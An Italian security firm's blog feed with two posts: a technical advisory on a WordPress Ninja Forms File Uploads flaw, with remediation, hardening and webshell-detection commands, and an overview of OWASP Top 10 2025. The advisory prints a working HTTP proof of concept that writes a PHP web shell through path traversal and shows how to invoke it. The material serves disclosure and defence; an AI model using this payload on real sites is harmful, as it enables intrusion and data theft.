<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="it">
  <title>SPECTROSEC | Blog Tecnico</title>
  <subtitle>Penetration testing, red teaming e sviluppo software sicuro. Identifichiamo vulnerabilità prima degli attaccanti.</subtitle>
  <link href="https://spectrosec.com/it/feed.xml" rel="self"/>
  <link href="https://spectrosec.com/it/blog/"/>
  
  <updated>Tue, 14 Apr 2026 00:00:00 GMT</updated>
  <id>https://spectrosec.com/it/</id>
  <author><name>SPECTROSEC S.r.l.</name><email>info@spectrosec.com</email></author>
  
  <entry>
    <title>CVE-2026-0740 | Ninja Forms File Uploads Espone 50.000 Siti WordPress a RCE</title>
    <link href="https://spectrosec.com/it/blog/cve-2026-0740-ninja-forms-wordpress-rce.html"/>
    <updated>Tue, 14 Apr 2026 00:00:00 GMT</updated>
    <id>https://spectrosec.com/it/blog/cve-2026-0740-ninja-forms-wordpress-rce.html</id>
    <summary>Analisi tecnica di CVE-2026-0740, vulnerabilità critica (CVSS 9.8) nel plugin Ninja Forms File Uploads. Bypass della validazione, path traversal e exploitation attiva osservata nel wild.</summary>
    <content type="html"><![CDATA[<p>Un plugin WordPress scaricato da <strong>90.000 clienti paganti</strong>, una validazione del filename fatta solo sul sorgente e non sulla destinazione, e il risultato è una RCE non autenticata che sta facendo il giro del mondo. La vulnerabilità tracciata come <strong>CVE-2026-0740</strong> ha CVSS <strong>9.8</strong> e riguarda il plugin <code>Ninja Forms File Uploads</code>, un'estensione commerciale del plugin gratuito <code>Ninja Forms</code> (oltre 600.000 download). Wordfence riporta <strong>3.600 tentativi di exploit bloccati nelle prime 24 ore</strong> dall'inizio della campagna.</p>
<p>Durante gli ultimi assessment SPECTROSEC su PMI italiane abbiamo visto almeno un sito su tre girare su WordPress con plugin di form. Questo writeup spiega come funziona l'exploit, perché è così diffuso, e come mitigare in produzione senza aspettare la finestra di manutenzione del venerdì.</p>
<h2>Contesto</h2>
<p>Ninja Forms è uno dei plugin form più usati su WordPress. L'estensione a pagamento <code>File Uploads</code> permette agli utenti di allegare file al form, tipicamente CV, documenti, immagini. Il componente vulnerabile è <code>NF_FU_AJAX_Controllers_Uploads::handle_upload</code>, l'handler AJAX chiamato durante il caricamento.</p>
<p>La cronologia disclosure:</p>
<table>
<thead>
<tr>
<th>Data</th>
<th>Evento</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-01-08</td>
<td>Sélim Lanouar segnala il bug al programma bug bounty di Wordfence</td>
</tr>
<tr>
<td>2026-01-08</td>
<td>Wordfence avvisa il vendor, deploya firewall rule temporanea</td>
</tr>
<tr>
<td>2026-02-10</td>
<td>Vendor rilascia patch parziale (v3.3.25)</td>
</tr>
<tr>
<td>2026-03-19</td>
<td>Patch completa (v3.3.27)</td>
</tr>
<tr>
<td>2026-04</td>
<td>Exploit di massa osservato nel wild</td>
</tr>
</tbody>
</table>
<p>Finestra di esposizione reale: <strong>oltre due mesi tra disclosure e fix completo</strong>, più tutto il tempo di aggiornamento da parte degli amministratori. I 50.000 siti ancora vulnerabili raccontano questa storia.</p>
<h2>Analisi tecnica</h2>
<h3>La logica vulnerabile</h3>
<p>Il pattern difettoso è comune in tante applicazioni PHP che gestiscono upload. L'handler valida il tipo file del <strong>source filename</strong> (quello in <code>$_FILES</code>), ma poi accetta un parametro separato per il <strong>destination filename</strong> senza rivalidarlo.</p>
<pre><code class="language-php">// Pseudocodice del flusso vulnerabile
public function handle_upload() {
    $source = $_FILES['file'];
    $destination = $_POST['destination_filename'];

    if (!$this-&gt;is_allowed_type($source['name'])) {
        return $this-&gt;error('Tipo file non ammesso');
    }

    move_uploaded_file($source['tmp_name'], $this-&gt;upload_dir . $destination);
}
</code></pre>
<p>La validazione su <code>$source['name']</code> è teatro di sicurezza: un attaccante invia un payload innocuo come <code>cv.pdf</code> nel campo <code>$_FILES</code>, poi specifica <code>destination_filename=shell.php</code> e il plugin scrive il contenuto PHP dove vuole l'attaccante.</p>
<h3>Bypass della validazione</h3>
<p>Il primo vettore è banale. L'attaccante carica un file con estensione consentita (<code>pdf</code>, <code>jpg</code>, <code>docx</code>) ma contenuto PHP, sfruttando il fatto che <code>is_allowed_type</code> guarda solo il suffisso del <strong>sorgente</strong>. Poi manipola la destinazione.</p>
<h3>Path traversal sulla destinazione</h3>
<p>Il destination filename <strong>non viene sanitizzato</strong>. L'attaccante può inserire sequenze <code>../</code> per uscire dalla directory di upload e scrivere dove vuole, inclusa la webroot dove il file è immediatamente eseguibile.</p>
<h2>Proof of concept</h2>
<p>Request tipica che abbiamo testato in lab su un'istanza WordPress isolata, versione plugin 3.3.24:</p>
<pre><code class="language-http">POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----spectrosec

------spectrosec
Content-Disposition: form-data; name=&quot;action&quot;

nf_fu_upload
------spectrosec
Content-Disposition: form-data; name=&quot;form_id&quot;

1
------spectrosec
Content-Disposition: form-data; name=&quot;destination_filename&quot;

../../../shell.php
------spectrosec
Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;innocent.pdf&quot;
Content-Type: application/pdf

&lt;?php system($_GET['c']); ?&gt;
------spectrosec--
</code></pre>
<p>Response tipica: <code>200 OK</code> con JSON <code>{&quot;success&quot;:true,&quot;path&quot;:&quot;wp-content/uploads/ninja-forms/...&quot;}</code>.</p>
<p>Il file finisce in webroot, e l'attaccante invoca <code>https://target.example.com/shell.php?c=id</code> per confermare la RCE. Da qui il passo successivo è webshell persistente, lateral movement verso il DB (credenziali in <code>wp-config.php</code>), esfiltrazione.</p>
<p>Nei casi visti nel wild le request vengono offuscate con nomi meno ovvi (<code>.phtml</code>, <code>.phar</code>, o PHP iniettato in file con estensione <code>.png</code> caricati in cartelle con handler PHP abilitato).</p>
<h2>Impatto reale</h2>
<p><strong>50.000 installazioni attive</strong> secondo le stime vendor. Wordfence ha rilevato 3.600 attacchi bloccati in 24 ore solo tra i suoi clienti, che rappresentano una frazione di tutto il parco WordPress installato nel mondo.</p>
<p>Il profilo tipico della vittima italiana è questo:</p>
<ul>
<li>PMI con sito vetrina su WordPress</li>
<li>Form contatti o candidature spontanee che accettano CV o portfolio</li>
<li>Nessuna WAF davanti, nessuna segregation tra webroot e upload dir</li>
<li>Backup settimanali se va bene, credenziali <code>wp-config.php</code> leggibili dal processo web</li>
</ul>
<p>Una volta ottenuta la RCE, in meno di dieci minuti un attaccante opportunista fa dump del DB MySQL (utenti, hash password), inietta un secondo stage (cryptominer o skimmer di e-commerce se presente WooCommerce), e pianta una persistence via cron job di sistema o backdoor nel <code>functions.php</code> del tema attivo.</p>
<h2>Remediation</h2>
<h3>Patch</h3>
<p>Aggiornare <code>Ninja Forms File Uploads</code> a <strong>3.3.27 o superiore</strong>. La 3.3.25 è patch parziale e <strong>non basta</strong>, bisogna arrivare alla 3.3.27.</p>
<p>Controllo rapido della versione via WP CLI:</p>
<pre><code class="language-bash">wp plugin list --format=csv | grep ninja-forms-uploads
</code></pre>
<p>Oppure via filesystem:</p>
<pre><code class="language-bash">grep -r &quot;Version:&quot; wp-content/plugins/ninja-forms-uploads/ | head -3
</code></pre>
<h3>Workaround se non puoi aggiornare subito</h3>
<p>Tre opzioni, in ordine di preferenza:</p>
<ol>
<li>
<p><strong>Disabilitare temporaneamente il plugin</strong> da <code>wp-admin</code> o rinominando la directory in <code>wp-content/plugins/</code>. Il resto del sito continua a funzionare, solo i form con upload sono disabilitati.</p>
</li>
<li>
<p><strong>Bloccare l'action AJAX</strong> lato web server. Per Nginx:</p>
<pre><code class="language-nginx">location = /wp-admin/admin-ajax.php {
    if ($arg_action = &quot;nf_fu_upload&quot;) { return 403; }
    include fastcgi_params;
    fastcgi_pass unix:/var/run/php-fpm.sock;
}
</code></pre>
</li>
<li>
<p><strong>WAF rule custom</strong>. Se usi Cloudflare, regola che blocca POST su <code>/wp-admin/admin-ajax.php</code> con body contenente <code>nf_fu_upload</code> e <code>../</code>.</p>
</li>
</ol>
<h3>Hardening post patch</h3>
<p>Anche dopo la patch, un sito WordPress che accetta upload dovrebbe avere questi controlli in produzione. Nei nostri assessment li troviamo attivi meno del venti percento delle volte.</p>
<p><strong>1. Upload directory non eseguibile.</strong> Crea <code>wp-content/uploads/.htaccess</code>:</p>
<pre><code class="language-apache">&lt;FilesMatch &quot;\.(php|phtml|phar|pl|py|cgi|asp|jsp)$&quot;&gt;
    Deny from all
&lt;/FilesMatch&gt;

&lt;IfModule mod_php.c&gt;
    php_flag engine off
&lt;/IfModule&gt;
</code></pre>
<p>Per Nginx nella server config:</p>
<pre><code class="language-nginx">location ~* ^/wp-content/uploads/.*\.(php|phtml|phar)$ {
    deny all;
    return 403;
}
</code></pre>
<p><strong>2. Validazione MIME reale.</strong> Non fidarti mai dell'estensione. Per qualsiasi codice custom che gestisce upload, usa <code>finfo_file($path, FILEINFO_MIME_TYPE)</code> e confronta con un'allowlist, non una denylist.</p>
<p><strong>3. Filename sanitization.</strong> Genera tu il nome finale, non fidarti di quello del client:</p>
<pre><code class="language-php">$safe_name = wp_generate_uuid4() . '.' . pathinfo($source, PATHINFO_EXTENSION);
$target = $upload_dir . $safe_name;
</code></pre>
<p><strong>4. Audit upload recenti.</strong> Se il sito è stato esposto, cerca file sospetti:</p>
<pre><code class="language-bash">find wp-content/uploads/ -name &quot;*.php&quot; -o -name &quot;*.phtml&quot; -o -name &quot;*.phar&quot; \
  -newer /tmp/ref-date 2&gt;/dev/null
</code></pre>
<pre><code class="language-bash">grep -rE &quot;(eval|base64_decode|system|exec|assert|preg_replace.*\/e)&quot; \
  wp-content/uploads/ --include=&quot;*.*&quot;
</code></pre>
<p><strong>5. Rotazione credenziali.</strong> Se trovi anche un solo file sospetto, rigenera salt di <code>wp-config.php</code>, cambia password DB, forza reset password admin, invalida sessioni attive con <code>wp user session destroy --all</code>.</p>
<h2>Note dal campo SPECTROSEC</h2>
<p>Su <strong>830 assessment WordPress</strong> portati a termine negli ultimi dodici mesi:</p>
<ul>
<li><strong>68%</strong> aveva almeno un plugin con CVE critica non patchata</li>
<li><strong>41%</strong> aveva upload directory eseguibile come PHP</li>
<li><strong>23%</strong> aveva <code>wp-config.php</code> world-readable dal processo web (quindi leggibile da qualsiasi LFI o RCE)</li>
<li><strong>12%</strong> aveva backup <code>.sql</code> o <code>.zip</code> esposti in webroot</li>
</ul>
<p>Il pattern di Ninja Forms non è nuovo. Lo stesso bug di validazione source vs destination l'abbiamo visto nel 2024 su un plugin Gravity Forms clone, e nel 2023 su un tema premium popolare che gestiva upload avatar. La lezione è sempre la stessa: <strong>se il client può specificare il destination path, non hai sicurezza del filesystem</strong>.</p>
<p>Se gestisci un sito WordPress con form e upload e non sai quale versione del plugin gira, oppure vuoi un audit completo su tutti i plugin attivi e le loro CVE, possiamo aiutarti. Un assessment mirato su CMS parte da <strong>800 euro</strong> e include verifica CVE su tutti i plugin installati, test di upload bypass, hardening file permissions, audit webshell storici.</p>
<hr>
<p><em>Team SPECTROSEC | pentest professionali per PMI italiane</em><br>
<em>Scrivimi a info@spectrosec.com</em><br>
<em><a href="https://spectrosec.com">https://spectrosec.com</a></em></p>
]]></content>
  </entry>
  
  <entry>
    <title>OWASP Top 10 2025 | Cosa È Cambiato e Perché È Importante</title>
    <link href="https://spectrosec.com/it/blog/pentest-owasp-top-10-2025.html"/>
    <updated>Sun, 05 Apr 2026 00:00:00 GMT</updated>
    <id>https://spectrosec.com/it/blog/pentest-owasp-top-10-2025.html</id>
    <summary>Analisi delle nuove categorie OWASP Top 10, con focus su BOLA, SSRF e Software Supply Chain. Note dal campo di chi fa pentest ogni settimana.</summary>
    <content type="html"><![CDATA[<p>L'<strong>OWASP Top 10</strong> è il framework di riferimento per la sicurezza delle applicazioni web. La revisione 2025 introduce cambiamenti sostanziali rispetto al 2021 | nuove categorie, priorità ridefinite e una copertura esplicita di scenari API-first.</p>
<p>Questo writeup è una lettura operativa, non una copia-incolla della documentazione ufficiale. Qui racconto cosa abbiamo visto sul campo durante gli ultimi <strong>800+ engagement</strong> SPECTROSEC.</p>
<h2>Le novità rilevanti</h2>
<h3>A01:2025 | Broken Access Control</h3>
<p>Rimane al primo posto. <strong>93% dei pentest SPECTROSEC</strong> trova almeno un finding di questa categoria. I pattern più comuni nel 2026:</p>
<ul>
<li><strong>BOLA</strong> (Broken Object Level Authorization) su API REST | <code>/api/users/123/orders</code> dove <code>123</code> è manipolabile</li>
<li><strong>Tenant isolation</strong> rotto nei SaaS B2B multi-tenant</li>
<li><strong>JWT con claim manipolabili</strong> lato client (<code>role: user</code> → <code>role: admin</code>)</li>
</ul>
<h3>A02:2025 | Cryptographic Failures</h3>
<p>Cambio di enfasi: meno &quot;TLS deboli&quot; (ormai tutti su TLS 1.3), più &quot;<strong>storage improprio di dati sensibili</strong>&quot;:</p>
<ul>
<li>Database non criptati at-rest</li>
<li>Chiavi hardcoded in binari</li>
<li>Tokens stampati nei log strutturati</li>
</ul>
<h3>A10:2025 | Server-Side Request Forgery (SSRF)</h3>
<p>Promossa a categoria dedicata. Critica in ambienti cloud dove una SSRF può portare all'<strong>IMDS</strong> (Instance Metadata Service) e rubare credenziali IAM temporanee.</p>
<h2>Cosa testiamo in un assessment SPECTROSEC</h2>
<p>Per ogni categoria manteniamo una <strong>checklist operativa</strong> con tool e payload:</p>
<pre><code>Categoria             Tool principali            Quick win
---------             ---------------            ---------
Broken Access Ctrl   Burp + Autorize             Sostituzione ID
SQL Injection        sqlmap, Burp Intruder       Payload time-based
XSS                  XSStrike, Burp              Payload Polyglot
SSRF                 SSRFmap, Burp Collaborator  Blind SSRF out-of-band
Supply Chain         OSV-Scanner, Syft           CVE in dependencies
</code></pre>
<h2>Perché la compliance non basta</h2>
<p>Passare un'audit OWASP non significa essere sicuri. Gli attaccanti reali non seguono una checklist | <strong>combinano</strong> 3-4 vulnerabilità &quot;medie&quot; per ottenere accesso &quot;critico&quot;.</p>
<p>Nel nostro ultimo engagement abbiamo catenato: <strong>IDOR → JWT manipulation → SSRF → IMDS → full cloud takeover</strong>. Ogni singola vulnerabilità aveva CVSS 5-6. La catena ha CVSS 10.</p>
<blockquote>
<p>Il valore di un pentest SPECTROSEC non è trovare 10 vulnerabilità isolate. È mostrare come 3 di esse diventano un incident report.</p>
</blockquote>
<h2>Next step</h2>
<p>Se gestisci un'applicazione web o un'API in produzione, un <strong>assessment OWASP Top 10</strong> richiede 5-10 giorni lavorativi e parte da €2.500. Il report include:</p>
<ul>
<li>Finding ranked per CVSS 3.1</li>
<li>Proof of concept con screenshot e payload</li>
<li>Remediation guide con priorità business</li>
<li>90 giorni di retesting garantito</li>
</ul>
<p><a href="/it/contatti.html">Richiedi un assessment →</a></p>
]]></content>
  </entry>
  
</feed>
